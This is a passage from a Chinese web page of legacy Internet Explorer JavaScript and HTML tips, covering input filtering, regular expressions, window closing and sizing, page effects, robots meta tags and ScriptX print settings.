#ff00ff">"\r\n屏幕分辨率的高："</SPAN>+&nbsp;&nbsp;window.screen.height;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n屏幕分辨率的宽："</SPAN>+&nbsp;&nbsp;window.screen.width;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n屏幕可用工作区高度："</SPAN>+&nbsp;&nbsp;window.screen.availHeight;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n屏幕可用工作区宽度："</SPAN>+&nbsp;&nbsp;window.screen.availWidth;&nbsp;&nbsp; </DIV></FONT></FONT></FONT></STRONG></FONT></STRONG></FONT></LI></UL>
<P><FONT size=2><STRONG>//过滤数字</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;input&nbsp;type=text&nbsp;onkeypress=<SPAN style="COLOR: #ff00ff">"return&nbsp;event.keyCode&gt;=48&&event.keyCode&lt;=57||(this.value.indexOf('.')&lt;0?event.keyCode==46:false)"</SPAN>&nbsp;onpaste=<SPAN style="COLOR: #ff00ff">"return&nbsp;!clipboardData.getData('text').match(/\D/)"</SPAN>&nbsp;ondragenter=<SPAN style="COLOR: #ff00ff">"return&nbsp;false"</SPAN>&gt; </DIV></FONT>
<P></P>
<P><FONT size=2><STRONG>//特殊用途</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;input&nbsp;type=button&nbsp;value=导入收藏夹&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"window.external.ImportExportFavorites(true,'http:<SPAN style="COLOR: #008000">//localhost');"</SPAN>&gt; </SPAN><BR>&lt;input&nbsp;type=button&nbsp;value=导出收藏夹&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"window.external.ImportExportFavorites(false,'http:<SPAN style="COLOR: #008000">//localhost');"</SPAN>&gt; </SPAN><BR>&lt;input&nbsp;type=button&nbsp;value=整理收藏夹&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"window.external.ShowBrowserUI('OrganizeFavorites',&nbsp;null)"</SPAN>&gt; <BR>&lt;input&nbsp;type=button&nbsp;value=语言设置&nbsp;&nbsp;&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"window.external.ShowBrowserUI('LanguageDialog',&nbsp;null)"</SPAN>&gt; <BR>&lt;input&nbsp;type=button&nbsp;value=加入收藏夹&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"window.external.AddFavorite('http:<SPAN style="COLOR: #008000">//www.google.com/',&nbsp;'google')"</SPAN>&gt; </SPAN><BR>&lt;input&nbsp;type=button&nbsp;value=加入到频道&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"window.external.addChannel('http:<SPAN style="COLOR: #008000">//www.google.com/')"</SPAN>&gt; </SPAN><BR>&lt;input&nbsp;type=button&nbsp;value=加入到频道&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"window.external.showBrowserUI('PrivacySettings',null)"</SPAN>&gt; </DIV></FONT>
<P></P>
<P><FONT size=2><STRONG>//不缓存</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;META&nbsp;HTTP-EQUIV=<SPAN style="COLOR: #ff00ff">"pragma"</SPAN>&nbsp;CONTENT=<SPAN style="COLOR: #ff00ff">"no-cache"</SPAN>&gt; <BR>&lt;META&nbsp;HTTP-EQUIV=<SPAN style="COLOR: #ff00ff">"Cache-Control"</SPAN>&nbsp;CONTENT=<SPAN style="COLOR: #ff00ff">"no-cache,&nbsp;must-revalidate"</SPAN>&gt; <BR>&lt;META&nbsp;HTTP-EQUIV=<SPAN style="COLOR: #ff00ff">"expires"</SPAN>&nbsp;CONTENT=<SPAN style="COLOR: #ff00ff">"0"</SPAN>&gt; </DIV>
<P></P></FONT>
<P></P>
<P><FONT size=2></FONT></P><BR><FONT size=2><STRONG>//正则匹配</STRONG></FONT> 
<P></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">匹配中文字符的正则表达式：&nbsp;[\u4e00-\u9fa5] <BR>匹配双字节字符(包括汉字在内)：[^\x00-\xff] <BR>匹配空行的正则表达式：\n[\s|&nbsp;]*\r <BR>匹配HTML标记的正则表达式：/&lt;(.*)&gt;.*&lt;\/\1&gt;|&lt;(.*)&nbsp;\/&gt;/&nbsp; <BR>匹配首尾空格的正则表达式：(^\s*)|(\s*$)（像vbscript那样的trim函数） <BR>匹配Email地址的正则表达式：\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)* <BR>匹配网址URL的正则表达式：http:<SPAN style="COLOR: #008000">//([\w-]+\.)+[\w-]+(/[\w-&nbsp;./?%&=]*)? </SPAN><BR>以下是例子： <BR>利用正则表达式限制网页表单里的文本框输入内容： <BR>用正则表达式限制只能输入中文：onkeyup=<SPAN style="COLOR: #ff00ff">"value=value.replace(/[^\u4E00-\u9FA5]/g,'')"</SPAN>&nbsp;onbeforepaste=<SPAN style="COLOR: #ff00ff">"clipboardData.setData('text',clipboardData.getData('text').replace(/[^\u4E00-\u9FA5]/g,''))"</SPAN> <BR>1.用正则表达式限制只能输入全角字符：&nbsp;onkeyup=<SPAN style="COLOR: #ff00ff">"value=value.replace(/[^\uFF00-\uFFFF]/g,'')"</SPAN>&nbsp;onbeforepaste=<SPAN style="COLOR: #ff00ff">"clipboardData.setData('text',clipboardData.getData('text').replace(/[^\uFF00-\uFFFF]/g,''))"</SPAN> <BR>2.用正则表达式限制只能输入数字：onkeyup=<SPAN style="COLOR: #ff00ff">"value=value.replace(/[^\d]/g,'')&nbsp;"</SPAN>onbeforepaste=<SPAN style="COLOR: #ff00ff">"clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))"</SPAN> <BR>3.用正则表达式限制只能输入数字和英文：onkeyup=<SPAN style="COLOR: #ff00ff">"value=value.replace(/[\W]/g,'')&nbsp;"</SPAN>onbeforepaste=<SPAN style="COLOR: #ff00ff">"clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))"</SPAN> </DIV>
<P><FONT size=2><STRONG>//消除图像工具栏</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><STRONG>&lt;IMG&nbsp;SRC=<SPAN style="COLOR: #ff00ff">"mypicture.jpg"</SPAN>&nbsp;HEIGHT=<SPAN style="COLOR: #ff00ff">"100px"</SPAN>&nbsp;WIDTH=<SPAN style="COLOR: #ff00ff">"100px"</SPAN>&nbsp;GALLERYIMG=<SPAN style="COLOR: #ff00ff">"false"</SPAN>&gt;&nbsp; <BR>or <BR>&lt;head&gt; <BR>&lt;meta&nbsp;http-equiv=<SPAN style="COLOR: #ff00ff">"imagetoolbar"</SPAN>&nbsp;content=<SPAN style="COLOR: #ff00ff">"no"</SPAN>&gt; <BR>&lt;/head&gt;</STRONG> </DIV></FONT>
<P></P></FONT>
<P><FONT size=2><STRONG>//无提示关闭 <BR></STRONG></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;Close() <BR>{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;ua=navigator.userAgent <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;ie=navigator.appName==<SPAN style="COLOR: #ff00ff">"Microsoft&nbsp;Internet&nbsp;Explorer"</SPAN>?<SPAN style="COLOR: #0000ff">true</SPAN>:false <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(ie) <BR>&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;IEversion=parseFloat(ua.substring(ua.indexOf(<SPAN style="COLOR: #ff00ff">"MSIE&nbsp;"</SPAN>)+5,ua.indexOf(<SPAN style="COLOR: #ff00ff">";"</SPAN>,ua.indexOf(<SPAN style="COLOR: #ff00ff">"MSIE&nbsp;"</SPAN>)))) <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(IEversion&lt;&nbsp;5.5) <BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;str&nbsp;&nbsp;=&nbsp;'&lt;object&nbsp;id=noTipClose&nbsp;classid=<SPAN style="COLOR: #ff00ff">"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"</SPAN>&gt;' <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;str&nbsp;+=&nbsp;'&lt;param&nbsp;name=<SPAN style="COLOR: #ff00ff">"Command"</SPAN>&nbsp;value=<SPAN style="COLOR: #ff00ff">"Close"</SPAN>&gt;&lt;/object&gt;'; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.body.insertAdjacentHTML(<SPAN style="COLOR: #ff00ff">"beforeEnd"</SPAN>,&nbsp;str); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.all.noTipClose.Click(); <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else <BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.opener&nbsp;=<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.close(); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <BR>&nbsp;&nbsp;&nbsp;} <BR>&nbsp;else <BR>&nbsp;{ <BR>&nbsp;&nbsp;window.close() <BR>&nbsp;&nbsp;&nbsp;} <BR>} </DIV></FONT>
<P><FONT size=2><STRONG>//取得控件得绝对位置(1)</STRONG> <BR></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;script&nbsp;language=<SPAN style="COLOR: #ff00ff">"javascript"</SPAN>&gt;&nbsp; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;getoffset(e) <BR>{&nbsp; <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;t=e.offsetTop;&nbsp; <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;l=e.offsetLeft;&nbsp; <BR>&nbsp;<SPAN style="COLOR: #0000ff">while</SPAN>(e=e.offsetParent) <BR>&nbsp;{&nbsp; <BR>&nbsp;&nbsp;t+=e.offsetTop;&nbsp; <BR>&nbsp;&nbsp;l+=e.offsetLeft;&nbsp; <BR>&nbsp;}&nbsp; <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;rec&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">Array</SPAN>(1); <BR>&nbsp;rec[0]&nbsp;&nbsp;=&nbsp;t; <BR>&nbsp;rec[1]&nbsp;=&nbsp;l; <BR>&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;rec <BR>}&nbsp; <BR><FONT size=2>&lt;/script&gt; </FONT></DIV>
<P><STRONG>//获得控件的绝对位置(2)</STRONG> </P></FONT>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">oRect&nbsp;=&nbsp;obj.getBoundingClientRect(); <BR>oRect.left <BR>oRect. </DIV>
<P><FONT size=2><STRONG>//最小化,最大化,关闭</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;object&nbsp;id=min&nbsp;classid=<SPAN style="COLOR: #ff00ff">"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"</SPAN>&gt;&nbsp; <BR>&lt;param&nbsp;name=<SPAN style="COLOR: #ff00ff">"Command"</SPAN>&nbsp;value=<SPAN style="COLOR: #ff00ff">"Minimize"</SPAN>&gt;&lt;/object&gt;&nbsp; <BR>&lt;object&nbsp;id=max&nbsp;classid=<SPAN style="COLOR: #ff00ff">"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"</SPAN>&gt;&nbsp; <BR>&lt;param&nbsp;name=<SPAN style="COLOR: #ff00ff">"Command"</SPAN>&nbsp;value=<SPAN style="COLOR: #ff00ff">"Maximize"</SPAN>&gt;&lt;/object&gt;&nbsp; <BR>&lt;OBJECT&nbsp;id=close&nbsp;classid=<SPAN style="COLOR: #ff00ff">"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"</SPAN>&gt;&nbsp; <BR>&lt;PARAM&nbsp;NAME=<SPAN style="COLOR: #ff00ff">"Command"</SPAN>&nbsp;value=<SPAN style="COLOR: #ff00ff">"Close"</SPAN>&gt;&lt;/OBJECT&gt;&nbsp; <BR>&lt;input&nbsp;type=button&nbsp;value=最小化&nbsp;onclick=min.Click()&gt;&nbsp; <BR>&lt;input&nbsp;type=button&nbsp;value=最大化&nbsp;onclick=max.Click()&gt;&nbsp; <BR>&lt;input&nbsp;type=button&nbsp;value=关闭&nbsp;onclick=close.Click()&gt;&nbsp; </DIV></FONT>
<P></P>
<P></P>
<P><FONT size=2></FONT></P><FONT size=2><STRONG>//光标停在文字最后</STRONG> <BR></FONT>
<P></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;script&nbsp;language=<SPAN style="COLOR: #ff00ff">"javascript"</SPAN>&gt; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;cc() <BR>{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;e&nbsp;=&nbsp;event.srcElement; <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;r&nbsp;=e.createTextRange(); <BR>&nbsp;r.moveStart('character',e.value.length); <BR>&nbsp;r.collapse(<SPAN style="COLOR: #0000ff">true</SPAN>); <BR>&nbsp;r.select(); <BR>} <BR>&lt;/script&gt; <BR>&lt;input&nbsp;type=text&nbsp;name=text1&nbsp;value=<SPAN style="COLOR: #ff00ff">"123"</SPAN>&nbsp;onfocus=<SPAN style="COLOR: #ff00ff">"cc()"</SPAN>&gt; </DIV></FONT>
<P><FONT size=2><STRONG>//页面进入和退出的特效 <BR></STRONG></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">进入页面&lt;meta&nbsp;http-equiv=<SPAN style="COLOR: #ff00ff">"Page-Enter"</SPAN>&nbsp;content=<SPAN style="COLOR: #ff00ff">"revealTrans(duration=x,&nbsp;transition=y)"</SPAN>&gt; <BR>推出页面&lt;meta&nbsp;http-equiv=<SPAN style="COLOR: #ff00ff">"Page-Exit"</SPAN>&nbsp;content=<SPAN style="COLOR: #ff00ff">"revealTrans(duration=x,&nbsp;transition=y)"</SPAN>&gt;&nbsp; <BR>这个是页面被载入和调出时的一些特效。duration表示特效的持续时间，以秒为单位。transition表示使 <BR>用哪种特效，取值为1-23: <BR>　　0&nbsp;矩形缩小&nbsp; <BR>　　1&nbsp;矩形扩大&nbsp; <BR>　　2&nbsp;圆形缩小 <BR>　　3&nbsp;圆形扩大&nbsp; <BR>　　4&nbsp;下到上刷新&nbsp; <BR>　　5&nbsp;上到下刷新 <BR>　　6&nbsp;左到右刷新&nbsp; <BR>　　7&nbsp;右到左刷新&nbsp; <BR>　　8&nbsp;竖百叶窗 <BR>　　9&nbsp;横百叶窗&nbsp; <BR>　　10&nbsp;错位横百叶窗&nbsp; <BR>　　11&nbsp;错位竖百叶窗 <BR>　　12&nbsp;点扩散&nbsp; <BR>　　13&nbsp;左右到中间刷新&nbsp; <BR>　　14&nbsp;中间到左右刷新 <BR>　　15&nbsp;中间到上下 <BR>　　16&nbsp;上下到中间&nbsp; <BR>　　17&nbsp;右下到左上 <BR>　　18&nbsp;右上到左下&nbsp; <BR>　　19&nbsp;左上到右下&nbsp; <BR>　　20&nbsp;左下到右上 <BR>　　21&nbsp;横条&nbsp; <BR>　　22&nbsp;竖条&nbsp; <BR>　　23&nbsp; </DIV></FONT>
<P><FONT size=2><STRONG>//网页是否被检索</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;meta&nbsp;name=<SPAN style="COLOR: #ff00ff">"ROBOTS"</SPAN>&nbsp;content=<SPAN style="COLOR: #ff00ff">"属性值"</SPAN>&gt; <BR>　　其中属性值有以下一些: <BR>　　属性值为<SPAN style="COLOR: #ff00ff">"all"</SPAN>:&nbsp;文件将被检索，且页上链接可被查询； <BR>　　属性值为<SPAN style="COLOR: #ff00ff">"none"</SPAN>:&nbsp;文件不被检索，而且不查询页上的链接； <BR>　　属性值为<SPAN style="COLOR: #ff00ff">"index"</SPAN>:&nbsp;文件将被检索； <BR>　　属性值为<SPAN style="COLOR: #ff00ff">"follow"</SPAN>:&nbsp;查询页上的链接； <BR>　　属性值为<SPAN style="COLOR: #ff00ff">"noindex"</SPAN>:&nbsp;文件不检索，但可被查询链接； <BR>　　属性值为<SPAN style="COLOR: #ff00ff">"nofollow"</SPAN>:&nbsp; </DIV></FONT>
<P></P>
<P><BR><FONT size=2><STRONG>//打印分页</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;p&nbsp;&nbsp;style=<SPAN style="COLOR: #ff00ff">"page-break-after:always"</SPAN>&gt;page1&lt;/p&gt;&nbsp;&nbsp; <BR>&lt;p&nbsp;&nbsp;style=<SPAN style="COLOR: #ff00ff">"page-break-after:always"</SPAN>&gt;page2&lt;/p&gt;&nbsp;&nbsp; </DIV></FONT>
<P></P>
<P><BR><FONT size=2><STRONG>//设置打印</STRONG> <BR></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;object&nbsp;id=<SPAN style="COLOR: #ff00ff">"factory"</SPAN>&nbsp;style=<SPAN style="COLOR: #ff00ff">"display:none"</SPAN>&nbsp;viewastext <BR>&nbsp;&nbsp;classid=<SPAN style="COLOR: #ff00ff">"clsid:1663ed61-23eb-11d2-b92f-008048fdd814"</SPAN> <BR>&nbsp;&nbsp;codebase=<SPAN style="COLOR: #ff00ff">"http:<SPAN style="COLOR: #008000">//www.meadroid.com/scriptx/ScriptX.cab#Version=5,60,0,360"</SPAN> </SPAN><BR>&gt;&lt;/object&gt; <BR>&lt;input&nbsp;type=button&nbsp;value=页面设置&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"factory.printing.PageSetup()"</SPAN>&gt; <BR>&lt;input&nbsp;type=button&nbsp;value=打印预览&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"factory.printing.Preview()"</SPAN>&gt; <BR>&nbsp; <BR>&lt;script&nbsp;language=javascript&gt; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;window.onload() <BR>{ <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//&nbsp;--&nbsp;advanced&nbsp;features </SPAN><BR>&nbsp;&nbsp;&nbsp;factory.printing.SetMarginMeasure(2)&nbsp;<SPAN style="COLOR: #008000">//&nbsp;measure&nbsp;margins&nbsp;in&nbsp;inches </SPAN><BR>&nbsp;&nbsp;&nbsp;factory.printing.SetPageRange(<SPAN style="COLOR: #0000ff">false</SPAN>,&nbsp;1,&nbsp;3)&nbsp;<SPAN style="COLOR: #008000">//&nbsp;need&nbsp;pages&nbsp;from&nbsp;1&nbsp;to&nbsp;3 </SPAN><BR>&nbsp;&nbsp;&nbsp;factory.printing.printer&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">"HP&nbsp;DeskJet&nbsp;870C"</SPAN> <BR>&nbsp;&nbsp;&nbsp;factory.printing.copies&nbsp;=&nbsp;2 <BR>&nbsp;&nbsp;&nbsp;factory.printing.collate&nbsp;=&nbsp;true <BR>&nbsp;&nbsp;&nbsp;factory.printing.paperSize&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">"A4"</SPAN> <BR>&nbsp;&nbsp;&nbsp;factory.printing.paperSource&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">"Manual&nbsp;feed"</SPAN> <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//&nbsp;--&nbsp;basic&nbsp;features </SPAN><BR>&nbsp;&nbsp;&nbsp;factory.printing.header&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">"居左显示&b居中显示&b居右显示页码，第&p页/共&P页"</SPAN> <BR>&nbsp;&nbsp;&nbsp;factory.printing.footer&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">"（自定义页脚）"</SPAN> <BR>&nbsp;&nbsp;&nbsp;factory.printing.portrait&nbsp;=&nbsp;false <BR>&nbsp;&nbsp;&nbsp;factory.printing.leftMargin&nbsp;=&nbsp;0.75 <BR>&nbsp;&nbsp;&nbsp;factory.printing.topMargin&nbsp;=&nbsp;1.5 <BR>&nbsp;&nbsp;&nbsp;factory.printing.rightMargin&nbsp;=&nbsp;0.75 <BR>&nbsp;&nbsp;&nbsp;factory.printing.bottomMargin&nbsp;=&nbsp;1.5 <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;Print(frame)&nbsp;{ <BR>&nbsp;&nbsp;factory.printing.Print(<SPAN style="COLOR: #0000ff">true</SPAN>,&nbsp;frame)&nbsp;<SPAN style="COLOR: #008000">//&nbsp;print&nbsp;with&nbsp;prompt </SPAN><BR>} <BR>&lt;/script&gt; <BR>&lt;input&nbsp;type=button&nbsp;value=<SPAN style="COLOR: #ff00ff">"打印本页"</SPAN>&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"factory.printing.Print(false)"</SPAN>&gt; <BR>&lt;input&nbsp;type=button&nbsp;value=<SPAN style="COLOR: #ff00ff">"页面设置"</SPAN>&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"factory.printing.PageSetup()"</SPAN>&gt; <BR>&lt;input&nbsp;type=button&nbsp;value=<SPAN style="COLOR: #ff00ff">"打印预览"</SPAN>&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"factory.printing.Preview()"</SPAN>&gt;&lt;br&gt; <BR>&lt;a&nbsp;href=<SPAN style="COLOR: #ff00ff">"http:<SPAN style="COLOR: #008000">//www.meadroid.com/scriptx/docs/printdoc.htm?static"</SPAN>&nbsp;&nbsp;target=_blank&gt;具体使用手册，更多信息，点这里&lt;/a&gt; </SPAN><BR><STRONG>&nbsp;</STRONG> </DIV>
<P><STRONG>//自带的打印预览</STRONG> </P></FONT><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">WebBrowser.ExecWB(1,1)&nbsp;打开&nbsp; <BR>Web.ExecWB(2,1)&nbsp;关闭现在所有的IE窗口，并打开一个新窗口&nbsp; <BR>Web.ExecWB(4,1)&nbsp;保存网页&nbsp; <BR>Web.ExecWB(6,1)&nbsp;打印&nbsp; <BR>Web.ExecWB(7,1)&nbsp;打印预览&nbsp; <BR>Web.ExecWB(8,1)&nbsp;打印页面设置&nbsp; <BR>Web.ExecWB(10,1)&nbsp;查看页面属性&nbsp; <BR>Web.ExecWB(15,1)&nbsp;好像是撤销，有待确认&nbsp; <BR>Web.ExecWB(17,1)&nbsp;全选&nbsp; <BR>Web.ExecWB(22,1)&nbsp;刷新&nbsp; <BR>Web.ExecWB(45,1)&nbsp;关闭窗体无提示&nbsp; <BR>&lt;style&nbsp;media=print&gt;&nbsp; <BR>.Noprint{display:none;}&lt;!--用本样式在打印时隐藏非打印项目--&gt;&nbsp; <BR>.PageNext{page-break-after:&nbsp;always;}&lt;!--控制分页--&gt;&nbsp; <BR>&lt;/style&gt;&nbsp; <BR>&lt;object&nbsp;&nbsp;id=<SPAN style="COLOR: 